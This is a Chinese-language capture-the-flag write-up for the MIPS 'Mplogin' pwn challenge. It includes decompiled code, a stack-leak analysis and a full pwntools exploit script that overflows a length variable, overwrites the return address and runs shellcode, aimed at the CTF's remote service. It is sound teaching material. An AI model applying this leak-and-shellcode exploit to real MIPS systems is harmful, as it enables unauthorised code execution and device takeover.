解题所涉知识点:
泄露或修改内存数据:
- 堆地址:
- 栈地址:栈上数据的连带输出(Stack Leak) && Stack溢出覆盖内存
- libc地址:
- BSS段地址:
劫持程序执行流程:[[MIPS_ROP]]
获得shell或flag:MIPS_Shellcode
题目类型:
MIPS_Pwn
相关知识点:
strncmp的利用
MIPS 与 x86 函数栈帧的开辟和恢复对比
信息收集总结
题目信息:
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ file Mplogin
Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ checksec --file=Mplogin
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 3Mplogin
libc版本:
wp借鉴:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
mips pwn入门指北 | waddle’s blog (mikokuma.github.io)
异构 Pwn 之 Mips32 | 狼目安全 (lmboke.com)
MIPS PWN 入门 – itewqq’s blog
MIPS PWN学习 - 先知社区 (aliyun.com)
程序运行回馈
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel -L ./ Mplogin
-----we1c0me t0 MP l0g1n s7stem-----
Username : 123456
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ tree -N -L 2
.
├── lib
│ ├── ld-uClibc.so.0
│ └── libc.so.0
└── Mplogin
2 directories, 3 files
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel -L ./ Mplogin | hexdump -C
00000000 1b 5b 33 33 6d 2d 2d 2d 2d 2d 77 65 31 63 30 6d |.[33m-----we1c0m|
00000010 65 20 74 30 20 4d 50 20 6c 30 67 31 6e 20 73 37 |e t0 MP l0g1n s7|
00000020 73 74 65 6d 2d 2d 2d 2d 2d 0a 1b 5b 33 34 6d 55 |stem-----..[34mU|
adminaaaaaaaaaaaaaaaaaa
00000030 73 65 72 6e 61 6d 65 20 3a 20 43 6f 72 72 65 63 |sername : Correc|
00000040 74 20 6e 61 6d 65 20 3a 20 61 64 6d 69 6e 61 61 |t name : adminaa|
00000050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa|
00000060 0a b0 ae 2a 2b 90 0b 40 1b 5b 33 31 6d 50 72 65 |...*+..@.[31mPre|
accessaaaaaaaaaaaaaaa
00000070 5f 50 61 73 73 77 6f 72 64 20 3a 20 50 61 73 73 |_Password : Pass|
012345678911111111111111111111111111111
qemu: uncaught target signal 10 (Bus error) - core dumped
00000080 77 6f 72 64 20 3a 20 43 6f 72 72 65 63 74 20 70 |word : Correct p|
00000090 61 73 73 77 6f 72 64 20 3a 20 2a 2a 2a 2a 2a 2a |assword : ******|
000000a0 2a 2a 2a 2a 0a |****.|
000000a5
zsh: bus error qemu-mipsel -L ./ Mplogin |
zsh: done hexdump -C
核心伪代码分析:
存在利用的的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // $a2
int len; // [sp+18h] [+18h]
setbuf(stdin, 0, envp);
setbuf(stdout, 0, v3);
printf("\x1B[33m");
puts("-----we1c0me t0 MP l0g1n s7stem-----");
len = checkuser();
checkpassword(len);
printf("\x1B[32m");
return puts("Now you getshell~");
}
int checkuser()
{
char user[24]; // [sp+18h] [+18h] BYREF
memset(user, 0, sizeof(user));
printf("\x1B[34m");
printf("Username : ");
read(0, user, 24);
if ( strncmp(user, "admin", 5) )
exit(0);
printf("Correct name : %s", user);
return strlen(user);
}
由于没有处理输入结尾,并可以填满栈上的缓冲区,导致再次打印时,栈上的数据会被泄露!
成功泄漏出栈上地址!
int __fastcall sub_400978(int len)
{
char buf[20]; // [sp+18h] [+18h] BYREF
int len1; // [sp+2Ch] [+2Ch]
char pass[36]; // [sp+3Ch] [+3Ch] BYREF
len1 = len + 4;
printf("\x1B[31m");
printf("Pre_Password : ");
read(0, buf, 36);
printf("Password : ");
read(0, pass, len1);
if ( strncmp(buf, "access", 6) || strncmp(pass, "0123456789", 10) )
exit(0);
return puts("Correct password : **********");
}
这个函数首先可以输入溢出覆盖v3这个变量,再次输入时由v3变量控制长度导致栈溢出
MIPS 的开辟和恢复栈帧:
.text:00400A2C 03 C0 E8 25 move $sp, $fp
# 将帧指针 $fp 的值恢复到栈指针 $sp,撤销函数调用时对栈的修改,恢复函数调用前的栈状态。
.text:00400A30 8F BF 00 7C lw $ra, 0x58+var_s24($sp)
# 从栈中偏移 0x7C 的位置恢复返回地址寄存器 $ra,这个值是在函数进入时保存的,用于返回到调用函数。
.text:00400A34 8F BE 00 78 lw $fp, 0x58+var_s20($sp)
# 从栈中偏移 0x78 的位置恢复帧指针 $fp,这个值是函数调用之前的帧指针,恢复之前的栈帧结构。
.text:00400A38 8F B7 00 74 lw $s7, 0x58+var_s1C($sp)
# 从栈中偏移 0x74 的位置恢复保存的寄存器 $s7 的值。
.text:00400A3C 8F B6 00 70 lw $s6, 0x58+var_s18($sp)
# 从栈中偏移 0x70 的位置恢复保存的寄存器 $s6 的值。
.text:00400A40 8F B5 00 6C lw $s5, 0x58+var_s14($sp)
# 从栈中偏移 0x6C 的位置恢复保存的寄存器 $s5 的值。
.text:00400A44 8F B4 00 68 lw $s4, 0x58+var_s10($sp)
# 从栈中偏移 0x68 的位置恢复保存的寄存器 $s4 的值。
.text:00400A48 8F B3 00 64 lw $s3, 0x58+var_sC($sp)
# 从栈中偏移 0x64 的位置恢复保存的寄存器 $s3 的值。
.text:00400A4C 8F B2 00 60 lw $s2, 0x58+var_s8($sp)
# 从栈中偏移 0x60 的位置恢复保存的寄存器 $s2 的值。
.text:00400A50 8F B1 00 5C lw $s1, 0x58+var_s4($sp)
# 从栈中偏移 0x5C 的位置恢复保存的寄存器 $s1 的值。
.text:00400A54 8F B0 00 58 lw $s0, 0x58+var_s0($sp)
# 从栈中偏移 0x58 的位置恢复保存的寄存器 $s0 的值。
........
.text:00400A58 27 BD 00 80 addiu $sp, $sp, 0x80
# 恢复栈指针 $sp,撤销函数调用时分配的栈空间(即加回 0x80 字节)。
.text:00400A5C 03 E0 00 08 jr $ra
# 跳转到 $ra 保存的返回地址,结束当前函数并返回到调用函数。
.text:00400A60 00 00 00 00 nop
# 无操作(NOP),这是一个占位指令,通常用来避免延迟槽问题。
发现栈地址是可以执行可读写的:
攻击思路总结
在输入user时候,输入admin时候就可以通过验证,由于字符串对比是使用strncmp函数对比所以可以通过输入超过adminaaaaaa既可以验证成功又可以连带输出栈上的地址,获得栈上地址后!就可以劫持返回地址并且再栈上写入shellocde这样就可以成功执行了
脚本:
import argparse
from pwn import *
from LibcSearcher import *
# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()
pwnfile = './Mplogin'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')
is_remote = args.r
is_debug = args.d
if is_remote:
sh = remote('node5.buuoj.cn', 26456)
else:
if is_debug:
sh = process(["qemu-mipsel", "-L", "./", "-g", "1234", pwnfile])
else:
sh = process(["qemu-mipsel", "-L", "./", pwnfile])
def mygdb():
if not is_remote and is_debug:
gdb.attach(sh, """target remote localhost:1234
b *0x4008C8
""") # brva 0xe93
mygdb()
# leak stack(old fp)
sh.sendafter("name : ",'admin'.ljust(0x18,'a'))
sh.recvuntil("Correct name : ");
sh.recv(0x18)
stack = u32(sh.recv(4))
# stack overflow
sh.sendafter("Pre_Password : ",b"access".ljust(0x14,b'2')+p32(0x100))
sh.sendafter("Password : ",b"0123456789".ljust(0x28,b"2")+p32(stack)+asm(shellcraft.sh()))
sh.interactive()